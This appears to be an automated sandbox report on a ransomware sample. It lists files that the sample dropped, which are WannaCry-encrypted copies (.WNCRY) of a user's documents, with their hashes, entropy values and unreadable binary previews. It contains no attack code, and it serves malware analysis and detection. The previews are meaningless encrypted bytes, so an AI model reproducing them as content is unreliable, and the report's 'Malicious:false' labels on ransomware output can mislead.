                                                                                                                        SHA-256:83E3C69322E18286FE14D540B82F6B11F44ADE56A9CA7C68E335FDE020F5FF50
                                                                                                                        SHA-512:DF187FD6E022A6D51C4A05071EBD3D25F4E1E09F191767AB420CCAEB285D7E142172C55D3705B3139B4650632F5541448D34D40C2A12E1B8C8725C21AA0570AE
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....1...-.-..U.v...<F...Z..{S.B6Ho..!@=.1..)...*....aV..{.R.....b..r.F3W?q.3..q...#.'Y....D..p......\......K....+\....#..a7.V@.u....o.4.'..............Q..S..k(Xn&.FB7.aX.K.y.m....../p.fN......Lb{...../.......E.......^.R..4$6.8. U.D...Bh._.&0!..X............C.J..<o......l...X..c0..J_g..!w.^8.d..K...z.."43E....hCx.\..J.+.b!U[...E>q..w.@..'...,..L$e:_........tS...I..f....L.c..R...+J.o.NR......t.Q...9...i0~].:.Bv........a...H.J.%.....?.....S.0.....;.............t.!....L..5{S.1bY..B..m..u..o....!FA.c....K....K..j.#.GD.E-.|.....Dws.Ncq.i.{..&...it.l....ZQ.O.[w.].x.._.$......).D.......N..&.......d.U...a.5%.xt....(...Q.M_..X.;.r..&..:....{W.../l.t....D..@.....n1....!E....c.k.WS.V..;;l...].'..wP....K....b{z..F..b7.$..$..,(.D...q.S...../u...$+.3<`.]qif.".\.f..R..o .'.|.....\2...N.........A....(.-@XFU...uURh...^~iC,.7).!.,...x6...i...U.E...!.....n...d....{.K..7_G..K]Wz.....C.Q.&\~RJ.66.\&..............K.p.1f{..'.j.$f.).n...z...XO.5q.c.

                                                                                                                        C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\BNAGMGSPLO.docx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.843382604284583
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkQ98ucJ7i/F9JfMjsrHzF2QOfzl8rxmN4uNpIt+C55RGEeY:bkQ90u/JfMozcfzl5yGpIMMeY
                                                                                                                        MD5:99ED5B6D446273C1B8FD96D789C56C35
                                                                                                                        SHA1:C00E866D3F36D8EF10938C6581480B94796F64C9
                                                                                                                        SHA-256:647390E6BC902B93755E8B0DFAD37DA2FB7E91C5F59D862D1388DB3F912399E0
                                                                                                                        SHA-512:71DEF3B848F10518F020BB6AE86EC582AF4B4A4C8357CD5E942667EE94CC2D62DB6E21548C10F9B290F11398C2C1BE400BED2B44767F9F0F55CAB10F8794A0E9
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....F..F.c83.|.~.m.u...........4.L..C.y.}1.{...... |.2.#......j..P.(..d..C...Cr.s9W...q.1.XG..3B.I.<).4&..8K(...>.%Vlg.|../.I.s...EE8A.Z....!-..7e..."..=q...C.........}...`.6...lJ#.....X..........4.7.......g...-.B..7..._..xZ..}I...x.iF..g......9.............A.TAd....p.F._.'...\._.-...'#.w...o.s....._....X_........[...!t. 1+.."...e\~..y.$....:..r....< K(O....Yq-N.,XG..;.%...[.........`...."..qB..s1..?.hG.H.....4*.F.Sj.s..*..A...^....S..d...U2.B...d.p.1.7..d...t.'.l......v:.F.?....k.e..Q.....c.6.A|a...c..F....I..[..Q.....JOi.P>A.\`....#..G..57......^A.Gba.0.. ....F....d..Cd..vdAkS..........D.`........7.6...\ h....l|.n*.I....S..#.lI.*..._...0..c..Vf.....U.SH....V.VVx..^....).H..S%.a.V.....{.S..+..b?..$.....S....S{..{..v#...5.A..c.R...A...N.......p.(.P.XW..kz(....Z.a.B.U.....I.Z.,..k3b.5.r..~...X..>.G.j.:.I..b.<.l.......C.......l.~.zW....%..^.v.f.0wi.4nQ.!....n.:.kdW.m/....k...Ym......,....T......9...<~......p.4.....J.fU+..

                                                                                                                        C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\BNAGMGSPLO.xlsx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.856218345384031
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkD2kteoldJOt/U9j3vIBcF3BItszQiludkiG7HL3cAhQYc2V784mdr3:bkDbUgdJW/Udf8awszLlVi03c8QG78pV
                                                                                                                        MD5:C2DB577367C20925947337D20045812F
                                                                                                                        SHA1:5BCA470BCB26919E247C28D4B5C92C38721F2F31
                                                                                                                        SHA-256:02E6F22BB5FF4FE5CEABC0B0BFC5A44C4A25C7B3CC0A2DF4236AEDBCEED719A9
                                                                                                                        SHA-512:01111FB78E58EE0798433D42BCDFA540ECCF2D23017797E86FC3688C711781BC3061E5587D11CADD6FCC4A72127FA903E65CF0BC0918AFC6C41C75D3235DCBD4
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....<...>..*._-'m>.@..~...G.|..Y.'.:....}..B..."..)y....Z..Y.n.p.}.r.R...z...s.4..w.U.).......,.0.....M5.....8..Y...gG.`1<...s...*..[........6}.u./..E....s.....]..}5.l5.....S.v(L.l..bb..#...N.?...{.6..=H31~s....A.v.q./yt...BTu.....[.Y0.....W..y..m...a...............E....:p....&..3.......m..\....\\..N.~;...D....8;....a.i@Q...x7.xw(.p*..p../........!.#5h&S.%.I......l..dX?J...s..?....GQ.....m5,....Y.._-?.\o.B....>.g......-Q.HI.?......3....}.|.......i....g.,.S;...x.........,....p..R\W_..x3..p....8..&.(....P...M.....w...ln6...........i...p]F..+......3r..6.k.._e.X......R.?L. .R..B8zoM.Y.\.'....Wp..]..ire...I.P.1..~.%....O...2.$W4.i..H.r....J^E..emQ.nP..#ot...i`.K.e.T.\....d7'].o.(..s/}D+....=.j...Amv|fK........9k.E.*(...|ff...l.c..(C..M..#.Z..9]!..W......g..~.'k.7.7+...mt.W.g..IM.t5B.<.+..2.......|.b.#..1....l...f.-V.U...(.y$.?...=.t.;G.Vk..6..^....l..........K...".^$U.Y..._..C.n!P..O......W..a..n,...#JL...B.p.....*.f..N..u+..XI..(;l.z

                                                                                                                        C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\EOWRVPQCCS.docx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.84514779101097
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkjA9v+qlW8DwbLru3ovJTHKj9xht6/kujn7LKifzRfkGd2+cC8kfUkzYB:bk89zlAeohTqZxm8sn73RfkGMhkfUzB
                                                                                                                        MD5:C976B5DC2D56B012BBB855221C71FE6F
                                                                                                                        SHA1:673B8EF4696B58287BA89D344CFC029D4ECE81BF
                                                                                                                        SHA-256:F7C0051FCB5B43647D9A9DC96F0E911174D779DB4936642ACD7148EB7BB1A32C
                                                                                                                        SHA-512:6279336D57E693D09CD490B353564EA1332316C49C697DFA50A65AEEFFDE4FAE771A33976379BCFAEAE53C54B1FCBF78D65A6D05CE69211EB079489BA91B9A65
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........k...@...9.<t@..u...h..^....?2.P'.:.ay..b3,....2.8y<Vmy.....g..).H.7..W.A..F.....$.oW.J..97...RV .E^..L.....Gy.4.jRW....5tp......r.v..n."."S..1.c...HvH.+.6.N..&0..(3[.U.mPzpU....7l.U...j.Z.r,g..t.Q}EN.1!...`y.4...}u(.|.n.g...[)q. g0.i...8..............1}!tm......l.r,.... ..UN.\3...m.....8...6a.8..4....a.{4V..Zq..Z..9o.$'.....6I..9.H....!...oC..._.A.p....._}..7..D...).....e#..e.....d.,BP...i.Y.z.j...P.$..C2..u#5'.l...{.....-(.q.=8.V..&W..7..`..T.......x...N.h2.q._..O|M..L.=OV>.....JG...yo?;.s..H._..{.b......A)...A..k./.v.o.heZ.A.*..~Ji).b.3...i'6.`.o..Y..;..5F.....n...]...<e*$.....R..J_../..F....>......m/...f.^SK5.....*.....~.n=.ag..#;A.. .1<.../+...G.T....?..." ...p...Vx..!..;....f1.......r..z...X:.*[a.s.........Y.+.j~..#.A}$'7.&.R..H.t....3%.. EH...Q>[M....<%....<(9...:/+........|J.bX..D...I}.fh.E..|.....2..b..M..j..A......6..KWK.C.\.2.....$'.Apn.p%c.>u9.5$s!.....^}..;..}C..:e.jL..F.c.<..I.;..8d.t...k.P1...B.u L...p.._

                                                                                                                        C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\EOWRVPQCCS.pdf.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.823808952246018
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkgmXmpFJy8MRfAIjNANHLFCjVtpAiblH3P9HH+FI3QLRz6pF52PzRfVXyl/wFp:bkg788QYIjNeHZCBAibR3P9n+F3lOF5g
                                                                                                                        MD5:7E6C0B531E1ECEB29BC060001473C7E6
                                                                                                                        SHA1:C41EA2E7F831ACA36D777F4C7254715F36DED898
                                                                                                                        SHA-256:FBCED274C130A705FB86D803E6A72E83E274C707B904DC59D478D1D96B14A17A
                                                                                                                        SHA-512:B1300A6C307A0039286935ABB5DA3E4EE8C5C409ADFC8F6C400CA4927BE7B53E75B71E42E25996F0A833CB0203D90AC6B465AC2961C18ACE078357D05A1C8413
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....;V.w.........e.V..f..K"/k\.t.5...65X.4.....!.....aU....r............3< .hS9.......v".U.}"'a'.. ....-`.a.(....a(@zy+EO.0......C...\.R..J......K...C...I].....DH..9J(..@.Q(.\..Y..q._T.L...+nK.r....D.j).F..H%..]...q'..MS.d...H{"y..`.k.!lo$.<.=..............L..i...X.n..6vW6J..I.. Z<.m...9..)..."..iL.m27d...?#....B..s...5..fo...].P..2......$S.wAD.-.............T....y.!.(._(.yLiHyJX..H.ncD..e..=.-..z.....in.R.JF....9.....v..PM3...O....a....9$.;.4/=.....( y.jlg.....).Lq..[f.Ck........0..8G=#.......H.v..{Fy....$....K9.EA$.(.@.<...xsY..{..B.@!~$n..I......Z.?U.})..A..wK"=.+.r....f..".......l.bE..]| .~."k.....+kP..6.......JK.....9....7...V3.....f.S.._~U.). J....8W.l.M.q.{...hZ/....'.T;..[L.?. .5.....k..../(@.......e.Y.Z..Jr....B...O...`-WeJ....)...Z?.y.s...>..M,m.....m..O.*.......D..I.gJ...%..D.li.@`..G?b...d.UW....".../5.)}...g...h..}N4...RSd..Po9.....4:.W.N..+.@Y~..7.'k.:.~(?..6.$.X5.....CG5(5.9.v.d..[. ..........]..1..aB

                                                                                                                        C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\GAOBCVIQIJ.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.848931037008945
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bknsl00cuRN6Z1SPFqBSbVU2DkijDkCzHB/uhCj0DMzHOX+RwhaEnowwcUvN:bkjxSPRVFDdh/uhCj0DMzOOGamIXN
                                                                                                                        MD5:75181C2F0F6C784FD7B3C9E3EA4FFA93
                                                                                                                        SHA1:D3DBF3867BB391AFECED2E7D9AC6481DA6A20161
                                                                                                                        SHA-256:BC25F5868049D8DD57C9F995DAEA46FD5818B58ABD6BF4071ED3D4A4E4172594
                                                                                                                        SHA-512:32F506C20BE94DC461E7DD850531E2E3EC9B4AC0C9E48ECF322C5BA544DD3519822B00143588CD75AE422FD5B6C59992BD460E91570FBD7C37EE11307FF9503B
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....[.....^l.s..R.M<>X.XS.'M2a...*....Z..I.P...[$...HG..A........h*=aW>'......S.R1"..^.*....ny.'...{..V.....$...L.o@K.......b/.+.[.b ..g........G.m..'..|.=..v.j^.Fo..g...;.1.].e. ..n..l.>.:U.A.#(..w.A.t.?. ..7o.P]K...c.........*4..u.....id..gT.{..+.............8.&...@.@-P."......D/..F.4\...a#..t.....#.>P._'.L.3....yW..I...."u...@G..;.TxP..$..[.-.k.Ba....c.N..`.HR.O......]Oc.<......v_..4...EQ$..W.....?...............2..`....pW..W_.3].......'X EB.n..Y..s..SS...4Xq4.F...G;.....:..J.g....0Bedf.u.e..-.v.[`Cy.Ix......pA.%.d.E>C.M.5..Q.C....%..\KW>..=..H..$..a..w..._...R../...,....Q...d..d...0.......K...#^...nn|..Zd.?.....*..r6.O......!.[.M.:/.>x.....c.h...Nde=$.......`+...m.%..(.....".W..k1.%S..>L..+.^4...!4..ah..R...7...47...z....z....~#........p...i.f..M.."~.p....G....o..].E.boK....W+p.+.w.">.. {].t8t...........[?.0@.Nwm...,J\.Qb._[2.;x{......9.;.E.3..r...q.\.&.'.z.P..p.q...lA....fR._..~..............v..Cl.N..]G*Ke..Z....~ty...d..H.....n.

                                                                                                                        C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\IPKGELNTQY.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.856187245633827
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkSTCns5DMyx/ScRg7oG6qIbLEfsGwZvSKRNv0Zd/FEwnylU7n1vkrnQKGrNws0P:bkJsL/SSSoFqIbLfGwZaKm/9E4ylWWr1
                                                                                                                        MD5:06A0A186ECFED3739FF8F6594A4C5D4C
                                                                                                                        SHA1:1B9986753D23CCC1681F47381934C7802343D037
                                                                                                                        SHA-256:ED03B0313477BA586298BBA1A69566E7816B874B9DF4D8CC5BA8398BE66F2089
                                                                                                                        SHA-512:BAD3DDB8EC6E93FEA2C2EB432A78C5F6A412ACFB9276B9EAC2419B91694C8AC353EC69DCA25534AAA69C31D605FBFB55963419FCD45F4C9EE0DC7F801354DC76
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....(....u...K........nI$..I..|mf..Jd.a.JL.K..k;. ..e..[..Zg>.Q.uG..}.V.~..}*S!.........b..........."...A.....W.?@..7$.{....*...~..(;..1...R.......!.`..w..i...A.......j.U(.X.Arh.^..XK..I..H..wS+M.......a...#...........v/...j..2...m^..............d=.........:.v& ....G.S....-.....cx.k...3I.m...'.....LsP~...P/U.....^..V}o~..B..m.7O.aS5.(..i=Q....A,r....h......L...j;..(.....Q'.H//#...`.../."......q.....k....<.....d.q.K.....0..!@.Oy.......8.....pK..S.F&{.I.........xC.+.>.c...s.en!S.....d9.....*.$...M.i.|.ONT..j....X:........<..w0U..e]...$..z.0...E&...7.\..H.xL.C/}sv.s.....]w.=BN@...... .Fe.V...d....7.%.1..C..S..]...D7@Q..1......H?........z.n..]x..z.9.Q.>......rJ...b.....*.tE.b.....~%....(F.+...9.K].uW...s.B`...(..}...:..C..@l..i...-.:,.._...n...zf..{-...P.tW...l8^{.I..{.x.n.$@...C8q.A.^#.+..4.......;\%.b.zIYF..t:G.>..$FA...v.k.....P...z....$.0C.,S$ws.....X.()r.N.|i.t>,....._..1..k5 ......a..|q.q.|Q..l......E....C..........G

                                                                                                                        C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\MXPXCVPDVN.pdf.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.840405993782491
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk9GckLR/kcnm9vHt+JZMlBrsKOOAfkskheOhdNAzkX4cjhduOPM7QO5w:bkgc0x6H874IKlPhblX4clDM/w
                                                                                                                        MD5:36F76B4E1BCA324D8025D6D47B023E21
                                                                                                                        SHA1:9EECF663D72CA674169A2FD57D82312EE28EF407
                                                                                                                        SHA-256:294AD0F3185308B0A4E27B477EC4208590D90A7485FB8A30F76A78719FD3E7E7
                                                                                                                        SHA-512:582E3156024996308998A7FACC0E77D7D6B882542689280CB8FEE6F37C8F992EEAF5B22BE4DB2519A6FFD19DC0A70C27FE95304982E9B45DAA9EC54EEEC828B2
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!...../.;.f...........;u..E...|1.|IheI[..1>.......J.%......PCx.l...J..^...C'B3..F.{..Z".A2....F.gUv........Al.J.....m..^.........[."RB.9[..|.y.-...U..%..x.h..G{.m0..f..9TQ....*mwM.e\...TgI.=.B.}.w..=..Z@...p`...E).3.>....*Y...f....M..)d..V:4..._....}..............]<':.+.`.".....<.p..3w.r..[.....CW.-KSi.D\L4.r.=..+]t...q|.Q2.J..9...&.._......ig*t......o.a|I.&... .. .#u.$.;W...m4mM.F/_<..........R90.".}..j.....x..$.Ex...N]..).....1..VR....F;.a-.*r.....N.o.Z.$V.XBtz.x....FJ...{s..........9.k....f...u..I1.x.\.V.A....f..1\+.;...=.B9..a'....F..*...dt~).......a..!.oe?".V.EC..L....Mfs{o5..(...J.V......>...T<PtN..J..a.e.-......y.....0nq.xd.x.@......Z.G...H,..`.0R.Y".k..~...H7.b.I.......ap.Q+.o..S.b.v*...w2.O.....]....{.d..W.^....%*.2..NX...]XK..m..._........^i@=. ."Y.w.....U0.@S.....F..\a....$#...r......!a...I3_...]Q.F>v...7...Q.k~`....JRB.6.9..t*.U.Ka.I,...$..Q...PuA.[..f[..f`..oa.9s....W.4V."b.6d.;.r.M...d=..Ux...8..D......U#t.....i...$

                                                                                                                        C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\MXPXCVPDVN.xlsx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.838704648974099
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk3/11oAAs5UBB2VJzRms/JI/8yWyDtTOXWMScsmDwDKV5W+gd/NjLIn:bk3/QcJzRVJI0QTeGmMDG5bKjsn
                                                                                                                        MD5:776325AD50487B904C44F2C39E7F3E4A
                                                                                                                        SHA1:11D26DE12EF82298CF165629EA494E35880326AF
                                                                                                                        SHA-256:E7C9160832B026829B46FCBF43B726EF6306C947A402025BB0425634BED95DDA
                                                                                                                        SHA-512:E64BBED66A04FC8995AD538A953C800995BE94EC4C5AE8C98037F5A20585A65D161B110F62C5AB4E93F1269B7F4267D87E2FFE3ED9DD8110CB442F1EDCCD74B9
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....I.$g..{h.V<.)..k. ..\r.K.........~9y....j9...'k.V..1.,.......@.~.!H...u5...?.}.....jY.......9.......!.`.uy.9r....S.z.....*Q/.....F.Q.R.Nu..g..?F<.s>*WW.Z..F,.....P.&..F....`?."h.*f...3...H.h...........CC.......>8._.=.....>{..*..'.H4...f....................w!.{./.ok...h(....X..P.V.F...9...(lj.+.q.s..W...x..;\Mk.O=.M. e.E..i...a.E....Zas0]-.Jt..rQo.,0..|......A.......+.69u..;..~7.n{C.S.h@s..Y.M.H.1R._......|.x.j.~to.6.>.k..$....w...N.vZ.%..}....7.3...tan.....Y.. ....0........e><..i9.....O..}.]w..[{..Iv.9...v....h..i.IE....m....m...(;P..s..;^h..E..`z.1.T30\<i".}....E.B{>.aa.....VD....[Lq..:,V......n[..-p..e.k.<i.hq2..8AY.]..J...Jr./M....1.=.aje.9yn...G(.L..p.....UE1..1U.-...a(+u0...........a.ob..9.>}.".....Q..RI...R..N...vC.4..Y.........&.M..[.%....m..$\..jc.z.g...t., .......y.-....;.6J.YVQ*=X...T.>W6vL4}..w..Qg.CT......N.$\qe.k.....E.W....+...S..;.9..=./.-.d..._&'...,&....r.71s.......b...&}f....6..P..yP.l..f.b.............Q.M>p...

                                                                                                                        C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\NEBFQQYWPS.docx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.822431830152178
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkNIb1dZo3rmxzMRT6shgIOFmlKpNc8eDMfUK0+emPA/aPdIQL2:bkNIb1xMWIUF6x2eBwk
                                                                                                                        MD5:4F58C927A8D5A08B685640BED02D3189
                                                                                                                        SHA1:8A848432099C1B46E4273482885EF354C74832B7
                                                                                                                        SHA-256:0C103B65216CD82E923456D087B2135931BD0899D2D2D572927F6A07F0826AA4
                                                                                                                        SHA-512:670E52B7F58F1E6A5CB4C9A2DD23BE2124AA50EC8DBDFA919DD449E244DB5186D2E3056645DCFD935756CCF80F4FC4A040285612A5DEA053043354407C695345
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....4..>..%....M......".....Z.........'...T..5..w.....v.l>.....q.P.C.(../...;..1.B.M*}...L...tB\...D..<T./V4.H6./...,aq..G.x.h3..W.G....:T..(9.*......t.,......b3..>...&c..z.,t`..........^U4..*Cp..^.7.S..qS.L.~...I..Q9Y.7.............v.Tx.....U...~9............ii..U..Lj=.(4T..TC..V......;}.......'I.T......].[...... ...J&W.../@....~Ou..4T6;....CZ]....)&...j:n.fZ...P....1..g....yC........k.~q...jO......q+9;c..$R...\.....h....".dvd....K.l......!l...@.7A.....f..>.tZ..._..../.^.....;.....`.]..........t....?...6.......P...L...F}.l...D.,6..Z=..C.r.2.....,.j...../N\..1.cf..x...dG........IfZ.r..j&.<.z........Fz.Z. .;.F......&.6.....:...G....|;S.....#.A!. .!...;....#n(.HhYp;vo)O.vn....G.-.K.......qX/f....!a...oK$..{wi.b|j:...+..+.Q.=R...Md.x.^.mtG.........e...w.....v.]'.G.s.<)8q......p.y..v.K.-.&.V...2.;......5y...A...r..U.x..k.n$.a.Y.....H.e.....v.S..b.-......9C...0.9V.v..z......fYY.{.#.$....z9,p+..#&.A_..zgv....*F).<.AG#.w%... ..$%..5...

                                                                                                                        C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\NEBFQQYWPS.pdf.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.86164071293595
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkz7l+uPKLbPw8esn0+Ynkc8M2+5cMsI+pa19cEibQC+v6tIKNhhJY0NeBf:bkLSH2ou5cMYa16QCVttpY7t
                                                                                                                        MD5:910EFA731A392D0749EE03A8B5ED4548
                                                                                                                        SHA1:0E82A211AFD466C3B4DBB9629C1FDFA5A6648934
                                                                                                                        SHA-256:471633CCA78179CC4C6F06CA14C785AAF7B969DCBF28C9888C1636DD9B44C98E
                                                                                                                        SHA-512:E6C9D51180F16A356916FB732616CDC3BDE8B61C3D99328E5D3FB47E272649E4E98961E0351B613FB23A4D9E0D0780019759E45E52C7EF3C5B0F01CC3840B18C
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......]M...".i.n..(...B....4..e..C.'...j.!C.X1 4sR.ut..../.zt.7.....Y..l.g..L.JEdM..TD.(..WDjB..9....i.%.hf...?o.....Pok...)..y..._..@S.'..(.q.tm<..P......T\..*.k...o>..q...M.} ....+....a.=..C........I"......B0s....P..E#..".rp)b.f4..Q...S.X1.k...H..<............n..0 9..}....+.v....*......6wm.D....&..8fu_X-q=...{.d,..y.P...H9:.".h.>....y\.9l.Y.....4.?U.o.:P.8`......&...YW-.Y...L..Y..uX.....Y...p...+~i....H,m..=`m,.X.....e..t.x....h?......1.F}...D.....K....P<.....l......+...j.$.%Z....qA..\.....'2.{=.s....u..w.np.K.U.Z$|I[;b.!...u.Q4uG......w.N..l>fEc.....zpn...p...GR.....:.\E(...Z.,T.,.|.$........y$..BLF...;.!5twdR....7?..v.J...6.].......f:..50.G.e.?.r.Pk.... .....y.Xt...-R.~...K.}....`.7.....KG'.=.j?.<\....; h.DD.....#4.T[.......pP...\.-...>w.v.|...P.*...+0..C......7O..z(.1u.4.x.$Q......(l..$.....dM....Ti3\..3,J.i.-o1X.........&..7....&.......8..F..S.<.8....]....Po..9..XH..%/!}...A....{#%f......y...Sj+k.M...xs`.........D....

                                                                                                                        C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\NIRMEKAMZH.pdf.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.870781474552516
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkwXaShaY4jA5DM59+9H72oSwX9MC1AlTXuDyRTQA4kX7cBTA1kTFPOaT0xrIEuz:bkuIMgjqHioS29MCiTXu2Rh4kXwBTjTV
                                                                                                                        MD5:1672C59824755BDFADD121699CD0436E
                                                                                                                        SHA1:616C184C04F3894F06D692EF0E2101D4478909A9
                                                                                                                        SHA-256:A66BDA0C7C52B94B311954755983D8C58F786ECBB11603B739D4AD700A66B08B
                                                                                                                        SHA-512:77691013138CFD05BCF35745F34F7759BC15B1121C6CC52CB7162C052E74A55F63D41C6D262BD3129C9DA5B5330F85AE2BF1DDD97604A1DCE4B913782DE5730A
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!..........n..L.'..%........sFdV...A.Q..-..v.D.o..ok.L...}.H.S.l>.....p2`.[..../....t..sh.j...e.....-...'O-.C=%..l...n.7.H]...`3.!..YH...g....>.S....Q..Z]....~.8J.>*.j}........-.c..{!...iAeJ..;...6..M..G.vc...;..k....6.b.........7...,.0......>..k..................4=q...R.{DWME.rq.......Q.G..?.jtk.K.+...:.04Z.:}l...2.i].3..9>}1..V.1n2.....4p..x.UlL..p..O}.S.u..........>.j.U.........8gn.X..u.W..M....)m]c.~,d...]~9...@...D.kp[.......,{.3.......sp...zz.*..(0.....+...=.h.p..:.[4...jyg.... ..X.....x....7....b..Md{ .A.p..A..>.T$..J..t..x..9<....q..P......I....... wv.q....+..=...N7....C.p2P.C.T........&&I.....$....X.!...C.!4..n.qr."...1".r....h..z...mpw....`}....I..;.t.o..Q.k...b..q..v.)N...E..|o.-!c..2..R|}..`%...R.P.{'.B'.%x..-.X....}...Do...X.d....e...F.....z#...Y`.)..t.yZ...).........(w=/..9.2.v.!#..+..%.o{..Y:._.....7"..R.H...g.....~.,..{:E..p..S...]z..N........rwKNUMn.b>.....j....q.&m......u.P.8.(.._.......4.Q...?..<...d.H..y.H...I

                                                                                                                        C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\NIRMEKAMZH.xlsx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.836937300502518
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkEBNZ/UU7SeUMDuzN59xTmJvWpiHDIuJYDKKx0GglUplkDyyTUqOrGdGmp07KHw:bkEhMQSvMD65nOOEDLux0GW3DyyHGGd8
                                                                                                                        MD5:26795B2AB40AFBA05B8F957D059005E9
                                                                                                                        SHA1:AC2B012676C8E20E4D69DFF3BFAB87CE1FCF0D95
                                                                                                                        SHA-256:53A845EC7EB77F1C589A5AA1D2065C440E54054782CED8853A533F2FCF8258FF
                                                                                                                        SHA-512:E4EC32D99589886A7A7483391AFC7A0C8A4E69A3EE3A573CB80E2355719494BBBCD358177C06150EE55254F8A04B2612FD76917C9FCD6519192895DB84D9FA5E
                                                                                                                        Malicious:false
